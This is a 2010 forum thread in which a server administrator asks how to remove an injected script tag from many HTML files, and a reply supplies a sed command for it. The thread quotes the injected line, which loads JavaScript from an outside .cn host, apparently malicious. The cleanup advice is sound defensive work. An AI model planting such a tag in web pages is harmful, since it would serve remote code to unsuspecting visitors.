LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Programming (http://www.linuxquestions.org/questions/programming-9/)
-   -   Help to remove script data from file using grep & sed (http://www.linuxquestions.org/questions/programming-9/help-to-remove-script-data-from-file-using-grep-and-sed-819576/)

djlane 07-13-2010 07:45 AM

Help to remove script data from file using grep & sed
 
On one of my servers, it appears that a bunch of html files got the following code added to it...

Quote:

<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>
I was going to try to remove this line using grep & sed... as sample
grep -lr -e 'apples' *.html | xargs sed -i 's/apples/oranges/g'

I can get the grep portion to work...
Code:

grep "<script src='http:\/\/b.rtbn2.cn\/E\/J.JS'[>][<]\/script[>]" *
But not the sed

Any help would be appreciated... I will also make sure that the security right on that directory is changed - so this can't happen again.

DJ

David the H. 07-13-2010 08:10 AM

Code:

sed "/rtbn2/ s|<script src='http://b.rtbn2.cn/E/J.JS'></script>||" filename
In sed, you can use about any regular ascii character as the delimiter, not just /, which makes it easier to handle html input. In this case I used |.

I also added the /rtbn2/ address at the beginning, which, while not necessary, should make it a bit more efficient. Only lines containing that string will have the substitution command run on them.

Also have a look at the -i option for editing the files in place, with optional backup creation.


All times are GMT -5. The time now is 05:01 AM.